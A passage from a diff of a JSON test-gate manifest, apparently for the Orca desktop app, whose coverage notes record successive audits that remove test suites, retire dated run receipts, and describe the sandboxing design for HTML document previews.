unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Deterministic lifecycle, IPC, window-notification, and runtime ownership tests cover generation replacement, stale callbacks, same-frame old-document publication, blocked external navigation, cancelled renderer navigation, concurrent provisional starts, process loss, timeout cleanup, headless fallback, and competing windows. Isolated macOS Electron validation covers cancelled navigation, forced renderer recovery, and headless serve promotion with live daemon-backed PTY identity and I/O. Linux, Windows, WSL, SSH promotion, and mixed-version desktop/server live runs remain uncollected; the renderer generation stays local to Electron IPC and does not change the remote wire. The renderer scheduling fixture now retains in-flight coalescing only, and payload partitioning retains publication-failure and main-dropped-worktree retry. Immediate publication, stale SSH cleanup, reconnect resync and isolated partition membership alarms were removed; other lifecycle evidence does not establish equivalent coverage. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1400: src/renderer/src/runtime/sync-runtime-graph-scheduling.test.ts removed. Removes whole coalescing call-count suite; no newest-state delivery or replacement claim. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.\nWindow folder cleanup retires the mock-call-only navigation fence suite and the per-generation warning-count case. Retained sender results and existing rendered checks keep their own original scope; no equivalent replacement or fresh execution is claimed here. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed.", "motivatingLinks": [ "https://github.com/stablyai/orca/issues/14066", "https://linear.app/stably/issue/STA-4016", @@ -4118,7 +4118,7 @@ "providers": ["remote-runtime"], "coveredPlatforms": ["macos"], "coveredProviders": [], - "coverageNotes": "Audit6088 removes the whole LinkActionPopover.test.tsx suite. Benign duplicate-copy suppression, toast feedback and retry-admission alarms are intentionally lost without equivalent replacement. Remove its standalone command and testFiles entry; all dated receipts and historical records retain their original scope. No native clipboard, fresh runtime or whole-gate validation is claimed. Complete prior account preserved verbatim: Audit6018 removes the whole HtmlDocPreview.toolbar.test.tsx suite. Its last current case exercises real DOM/registry hide, explicit close, recreation and unmount lifetime against supplied native guest boundaries; those alarms are intentionally lost without equivalent replacement. Remove its six compound-selector tokens, testFiles entry and obsolete focus assertionRef (the latter assertions were already absent from the current single case). No complete active dated receipt selects this source; all remain unchanged and do not validate narrowed commands. No fresh runtime/native/import-closure claim. Complete prior account preserved verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5910 retires the complete use-doc-preview-guest-tools suite: token-scoped pending-card position after inner scroll, load reset and detached guest listener cleanup alarms are intentionally lost without equivalent replacement. Narrow three compound selectors and remove its testFiles entry. All remaining assertions/selectors and complete dated evidenceRuns retain only their original scope; no fresh validation or replacement claim. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5583 removes the entire src/renderer/src/lib/browser/documents/doc-preview-grants.test.ts suite and its active selectors. Intentionally lose stale preview grant rejection and newer-capability preservation alarms without equivalent replacement or fresh gate evidence. Historical prior account follows: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3460 final-v2 composes accepted AUTHOR3454/PEER3455 on actual post263 main: intentionally removes99 authored/106 potential expanded cases across16 selected drivers, including7 whole suites, retaining24 authored/26 potential cases. No equivalent replacement or fresh runtime is claimed. The complete mocked session-close routing suite is removed, including the explicit cross-worktree cleanup alarm. Remove its active file, command token and assertion reference; historical selectors and receipts retain their original scope. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3342 retires the complete mobile editor/diff tab-publication projection suite: editor/diff serialization, workspace-document privacy withholding, pending/focus and capability/options projections are intentionally lost without equivalent replacement. The surviving focused selectors are unexecuted in this source composition. Six complete compound macOS receipts whose command fields select the changed source are retired verbatim as history; their other selected tests receive no promoted evidence. Other dated receipts keep their original scope; no fresh runtime/UI/mobile/mixed-version or cross-platform validation is claimed. Audit3335 retires the complete three-case browser-tabs snapshot assembly suite: canonical snapshot replay/placement/focus, local host-page adoption and unstamped host echo leaving a local page untouched alarms are intentionally lost without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/network, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof. Audit3108: doc-preview-grants.test.ts now retains only the stale grant-rejection race: a late rejected grant request must not evict a newer grant registry entry, witnessed by later revocation of grant-2. Retire stable minted-location and outside-workspace POSIX/Windows request-projection alarms without replacement. The direct nonempty grant selector remains unchanged; no real grant-server/file authorization, SSH/HTML delivery or native-focus result is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2043: Remove the registration-wait, webview-security, preview-authorization, guest-lifecycle and grant-IPC unit suites and the sibling-directory assertion reference. Runtime and browser capability consumers also lose removed imported examples. Remaining document-policy, file-reader and grant-registry assertions do not replace those alarms. Preserve the 27 independent dated receipts at their original unchanged selectors; reduced prospective unit selectors have no fresh result or equivalent replacement claim. Historical prior account (preserved verbatim): Audit1973: Delete the browser RPC forwarding/schema/scalar suite and its prospective selector. Preserve all27 unrelated dated receipts; no actual browser operation alarm is replaced. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): The complete terminal-file-link-actions suite is removed. Lose supplied local/remote menu-row inventories, browser label/order/download/reveal callback forwarding, platform-copy and source-group pinning examples. No OS reveal/download, real remote preview or browser navigation was exercised; the other real document-preview sources are not equivalent replacements. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1899 replays sealed Audit1895: workspace-doc-history.test.ts is entirely removed from its current command and testFiles. Supplied recency/dedupe/cap/title/identity examples and the10000-row getter-read budget alarm are intentionally lost. No current assertionRef or active receipt selects that file. Unrelated active receipts and all prior gap literals remain verbatim; no replacement history/index-work coverage or new browser/paired-preview gate execution is claimed. Historical coverage account before Audit1899: Audit1853 reduces LinkActionPopover.test.tsx and archives its complete 2026-09-06 mixed-selector receipt. The lost copy/open-state and Settings callback-order/omission alarms are accepted without equivalent replacement coverage. No fresh execution of this gate is credited. Audit1709 removes low-value test definitions and retires affected assertion or execution-receipt claims without equivalent replacement coverage. Per-source reviews bound retained behavior and injected/native/remote limits. Unchanged assertions and receipts keep their original scope; gates lacking current active evidence are downgraded. Historical scope before this audit: Audit1687 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1630 removes low-value Git, GitHub/GitLab and IPC projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1571 removes mock forwarding, capability/schema inventories, private predicates, supplied error/result replays, and filesystem-mocked persistence checks without equivalent replacement claims. Retained changed tests also exercise real local permission-file reread, registry proxy rollback/credential retirement, site display recovery, and pending sender/credential/document admission with injected Electron/UI producers. Retained network tests exercise owned stream credit/cleanup, generation and retirement fences, real loopback proxy/SOCKS bytes and file-backed binding state. SSH/WSL/paired runtime, native sessions, authority producers and storage clears remain injected; simulated relaunch uses filesystem mocks. The unchanged profile-retirement suite was statically reviewed and not rerun. No actual SSH/WSL runtime, native Chromium jar deletion, durable process restart, remote DNS or external site proof. Receipts selecting changed tests are retired and unaffected receipts remain unchanged. Historical scope before this audit: Audit1568 removes API inventories, supplied mock-value/forwarding assertions, implementation-shape tables and negative/setup cases that do not reach their intended boundary, without equivalent replacement claims. Retained changed definitions exercise owned manager lifetime/queue/refcount/clamp and real synthetic process/files/staging boundaries. Seventeen unchanged native Electron definitions across this combined audit are statically reviewed and not rerun. Changed native suites exercise local popup wire/cookie/session and clean/native process-identity behavior; known popup-admission flaws remain unfixed. Unit native/event/session/registry inputs remain injected. No actual OS focus, registry/host execution, CRX verification or durable restart proof. Receipts selecting changed tests are retired and unaffected receipts remain unchanged. Historical scope before this audit: Audit1564 retires copied cookie key recipes, mock bridge/preview forwarding and flag tables, source-spelling/script inventories and setup-only alarms without equivalent replacement coverage. Retained changed cases exercise actual scoped SQLite merge/rollback/schema refusal, owned cancellation and grant authority/canonical containment, ranged response consistency, replacement guest ownership and executed guest-script promise/DOM cleanup behavior. Session, host response, geometry/observer and transport producers remain injected where documented. One unchanged native extension definition is not rerun locally; no actual remote filesystem, native layout/focus or authentication claim. Receipts selecting modified tests are retired; unaffected exact-selector receipts remain unchanged. Historical scope before this audit: Audit1412 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1386 changes referenced sources; no new execution result validates reduced selectors. Retained unchanged receipts apply only to unchanged commands. Historical coverage: Audit1308 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): A macOS desktop host and a separate paired Electron client exercise the Explorer preview action end to end: the document renders inside the client-local orca-preview guest, the client gains exactly one browser workspace and it is the document one, the host's own page registry and tab snapshot gain nothing, the split does not take focus from the source editor, an explicit click activates the preview, and closing it with its X leaves the editor and terminal intact. Both host oracles are read in a run where an ordinary URL browser tab from the same client does arrive in them, because a host that cannot project browser pages at all would otherwise answer the absence question the same way. A second journey quits that client with a document tab open and relaunches it on the same profile, which is the restore the user's original report turned on: the same workspace row comes back blank and named by the document, renders again, and does so over a grant URL that differs from the one that was quit. The same journey pins the guest URL to the orca-preview scheme, so a regression back to file:// or to a host browser page is visible. The rewritten journey caught a live gap the old one could not see: since previews became browser pages they had no chrome to hand focus to their guest, so main refused every reported link click as coming from an unfocused guest and the one route out of a preview was dead. Main's own log answered it — registered true, grant live, focused false — after the embedder reported the anchor really taking six real presses. The pane now hands focus over when it is the reader's surface, and the journey routes. The preview's own components moved out of the editor folder into browser-pane/workspace-doc/ with this change, since a preview is a browser pane and no longer an editor one; their i18n keys keep the historical auto.components.editor.HtmlDocPreview prefix rather than dropping thirty translated strings across four locales for a tidier key path. Seven gate commands named those files by their old paths and were re-issued at the new ones, and the nine dated runs behind them were retired rather than left naming files that are no longer there, on the same principle this gate already applied twice: vitest treats a missing named file as a filter and exits 0, so such a command reports green while silently running only the half that still exists. Each retired record's finding is carried into the replacement run recorded below it, including the red half of the entry/subresource pair, which was re-measured by re-applying its mutant at the new path rather than being dropped. The fence over the page-management channels was decided channel by channel before it was built, and that decision record is: of the 23 channels that can name a page, 6 are allowed for a workspace-document page — the tool channels the reader drives, which reach it through the one authority that reads both halves of the registry — 9 refuse (download accept and cancel, devtools, certificate proceed, client page metadata publish, viewport override, WebAuthn account response, registration probe, registration repair), 3 cannot name a page at all because they take a profile or a worktree instead, and the rest are the registration and activation doors, refused on membership. What shipped is not the per-channel guard that classification implies: eleven call sites read the browsing map directly, so a guard per channel is exactly the caller-flag seam that has to be remembered at every future call site. The registry was split in two instead, which makes the classification structural — a document guest is absent from the browsing map, so every refusing channel refuses by absence rather than by a guard, and a channel added later inherits the refusal without being classified at all. Unit contracts cover grant scoping and path containment, per-owner read routing, refusal of a truncated or over-cap read, the old-server binary degradation, scheme admission on will-attach-webview, the guest navigation policy, the plan layer's local/SSH/paired/out-of-worktree routing, and the distinct sentence the reader sees for each failure reason. The paired browser-creation surfaces this gate still owns — capability rejection cleanup, canonical page identity, reconciliation rollback, close convergence — keep their existing headed and headless journeys. Linux and Windows live journeys remain gaps. A refused subresource is a notice on a rendered document rather than a failure panel, since only the entry document's failure leaves the reader with nothing; the entry document is served as text by every owner and cannot be refused for its format at all. Grants die with the renderer document that minted them, at window creation and on every reload, because the renderer holds the only record of which preview owns which grant. The mint and revoke channels answer only the trusted renderer, and a preview tab is never republished to mobile clients, which have no grant to read it with. External URLs leave the preview only via a trusted user click on an anchor while the preview is focused; script-driven navigation and popups reach nothing. The guest's navigation sinks are deny-only and route no URL at all, and the guest carries a preview-only preload, pinned by will-attach-webview and denied to every other attach path, whose capture-phase click handler reports an anchor's URL to main; main answers only a report from a preview guest with a live bound grant that is the focused contents, and only for http(s). Two earlier reader-facing records from 2026-08-26, which measured a shape where a subresource failure was filtered out and the panel still carried an unsupported-asset sentence, were retired with that shape rather than left contradicting the 10/10 runs of the command they share. Two more were retired on the same principle when the external-link design changed: a record showing that removing a recent-input gate let the unattended document open two browser tabs, and a record showing that dropping the webview's allowpopups attribute left a target=_blank press with nothing to route. Both measured machinery that no longer exists — the input gate could not tell a script's navigation from the click it followed, which is the case now recorded below, and the preload intercepts the press before Chromium considers a popup at all, so allowpopups was removed. WebRTC is fenced by the guest's IP-handling policy alone: this Chromium answers a webrtc content-security-policy directive as unrecognized and gathers candidates anyway, so the directive is deliberately absent from the served policy and a unit assertion keeps it out. A standalone Electron probe on the same version gathered 7 candidates including a STUN reflexive one without the policy and 0 with it. Two command paths this gate used to carry no longer exist, and their structured evidence was retired with them rather than left naming files that are no longer there: vitest treats a missing named file as a filter and exits 0, so such a command reports green while silently running only the half that still exists. The first is src/renderer/src/lib/file-preview-capability-cleanup.test.ts, deleted in STA-5557 when HTML previews stopped creating paired browser tabs: on 2026-08-12 its five-assertion STA-4063 oracle ran red 5/5 on scan e4c278eb52 and on main bc2e30000b, partially green 2/5 on pre-fix PR #14100, and green 5/5 on candidate 14b5877a75; the surviving half of that oracle is web-runtime-browser-capability-cleanup.test.ts, still commanded above. The second is tests/e2e/paired-remote-html-browser-focus.spec.ts, renamed in STA-5557 to paired-remote-html-preview-local-render.spec.ts because the journey no longer proves anything about browser focus: its 2026-08-12 runs established the owning-runtime routing and no-focus-steal behavior of the then-current browser-tab preview (red on main 346e59c879 and a90a18d43d, green on candidates d05217c40d and b7de9c0961, red again with only the side-preview focus or routing seam disabled), and its 2026-08-26 runs are recorded below under the current path. An adversarial pass after the journey landed found four coverage gaps rather than shipping defects, and all four are pinned here. The page url had a third door: the navigation commit wrote whatever url was reported, unfenced, and while nothing reaches it for a document page today it sat one report away from giving a document page a URL that persistence, the publish boundary and the address bar all read. The group projection was the load-bearing half of the mobile publish boundary that no test had: removing it alone left the whole suite green, because no test in it had tab groups, while the phone payload gained a group whose order and active tab named a document tab it was never sent. The focus handoff was covered only in the narrowing direction, so widening it — dropping the page-activity check, or either half of the reader-surface check — survived both suites. And the handoff itself was offered once and never again, so another app taking the front left the preview's one route out shut until the pane remounted, which is a desktop gap rather than a test-only one. The standalone capability-cleanup and browser-placement ledger suites were removed, including their mixed-version rejection, cleanup transfer, capacity and partition alarms. web-runtime-session.test.ts no longer supplies browser creation, rollback or recovery assertions. The grouped workspace-document exclusion remains; the separate no-group publication example was removed. Existing live/browser-store evidence does not establish equivalent replacement alarms. Earlier descriptions of the removed fixtures and their run results are historical. The client-owned-placement and layout-groups suites are removed. The broad mirror fixture no longer supplies preview placement/reservation/move assertions. Browser rows retain pre-response replay and real local-workspace reuse; focus intent retains response ordering and exact-leaf sibling ordering. Supplied browser-layout and placement/focus projection alarms are lost; retained evidence is narrower and not equivalent. The test-value audit retires renderer grant-release mock ledgers, direct creation/title/session-field copies, notification/onboarding calls and several placement/per-page projections. Canonical-ID rejection, document reopen/restore and preview URL fences remain; they do not prove close-to-registry revocation or replace every lost alarm. Historical execution evidence is unchanged. The test-value audit removed the direct legacy editor-preview hydration example from tabs-hydration.test.ts. Dropping legacy preview chrome while preserving the same-document ordinary editor no longer has that alarm. The surviving corrupt-id deduplication case does not cover that migration, and retained preview journeys are not equivalent replacement coverage. Historical run counts and migration mutation findings describe the earlier suite. Audit1308: src/renderer/src/components/editor/EditorPanelShell.header.test.tsx removed. Header visibility and mocked editor-surface inventory alarms disappear. No equivalent replacement coverage is claimed. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1386: src/renderer/src/lib/doc-preview-grants.test.ts reduced. Repeated-mount mint count, ordinary release/remint and failed-mint cache retry standalone alarms removed; no actual grant server/access test. No equivalent replacement coverage is claimed. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1412: src/main/browser/guest-lifecycle/manager/browser-manager-guest-policy-profile.test.ts removed. Loses workspace-document in-grant navigation/popup refusal, cleanup/re-attach, cross-registry guest authorization and browsing-map separation alarms. No equivalent browser policy coverage is claimed. No equivalent replacement coverage is claimed. Audit1421 removes browser-address-bar-suggestions.test.ts. Document suggestion title/path matching, recency merging and path-prefix ranking alarms are lost. No equivalent replacement coverage is claimed. Historical receipts remain scoped to unchanged selectors; the reduced command has no new execution result. Audit2452 removes the whole fake-effect browser-close routing suite. Active selectors and assertion references no longer select it. Its requested-worktree default close, sibling-page close and explicit missing-page typed reply alarms are intentionally retired without equivalent replacement. Prior dated receipts remain unchanged and scoped to their original sources; no fresh execution of the reduced gate, rendered browser, live remote, mobile or cross-platform validation is claimed.", + "coverageNotes": "Audit6088 removes the whole LinkActionPopover.test.tsx suite. Benign duplicate-copy suppression, toast feedback and retry-admission alarms are intentionally lost without equivalent replacement. Remove its standalone command and testFiles entry; all dated receipts and historical records retain their original scope. No native clipboard, fresh runtime or whole-gate validation is claimed. Complete prior account preserved verbatim: Audit6018 removes the whole HtmlDocPreview.toolbar.test.tsx suite. Its last current case exercises real DOM/registry hide, explicit close, recreation and unmount lifetime against supplied native guest boundaries; those alarms are intentionally lost without equivalent replacement. Remove its six compound-selector tokens, testFiles entry and obsolete focus assertionRef (the latter assertions were already absent from the current single case). No complete active dated receipt selects this source; all remain unchanged and do not validate narrowed commands. No fresh runtime/native/import-closure claim. Complete prior account preserved verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5910 retires the complete use-doc-preview-guest-tools suite: token-scoped pending-card position after inner scroll, load reset and detached guest listener cleanup alarms are intentionally lost without equivalent replacement. Narrow three compound selectors and remove its testFiles entry. All remaining assertions/selectors and complete dated evidenceRuns retain only their original scope; no fresh validation or replacement claim. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5583 removes the entire src/renderer/src/lib/browser/documents/doc-preview-grants.test.ts suite and its active selectors. Intentionally lose stale preview grant rejection and newer-capability preservation alarms without equivalent replacement or fresh gate evidence. Historical prior account follows: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3460 final-v2 composes accepted AUTHOR3454/PEER3455 on actual post263 main: intentionally removes99 authored/106 potential expanded cases across16 selected drivers, including7 whole suites, retaining24 authored/26 potential cases. No equivalent replacement or fresh runtime is claimed. The complete mocked session-close routing suite is removed, including the explicit cross-worktree cleanup alarm. Remove its active file, command token and assertion reference; historical selectors and receipts retain their original scope. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3342 retires the complete mobile editor/diff tab-publication projection suite: editor/diff serialization, workspace-document privacy withholding, pending/focus and capability/options projections are intentionally lost without equivalent replacement. The surviving focused selectors are unexecuted in this source composition. Six complete compound macOS receipts whose command fields select the changed source are retired verbatim as history; their other selected tests receive no promoted evidence. Other dated receipts keep their original scope; no fresh runtime/UI/mobile/mixed-version or cross-platform validation is claimed. Audit3335 retires the complete three-case browser-tabs snapshot assembly suite: canonical snapshot replay/placement/focus, local host-page adoption and unstamped host echo leaving a local page untouched alarms are intentionally lost without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/network, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof. Audit3108: doc-preview-grants.test.ts now retains only the stale grant-rejection race: a late rejected grant request must not evict a newer grant registry entry, witnessed by later revocation of grant-2. Retire stable minted-location and outside-workspace POSIX/Windows request-projection alarms without replacement. The direct nonempty grant selector remains unchanged; no real grant-server/file authorization, SSH/HTML delivery or native-focus result is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; 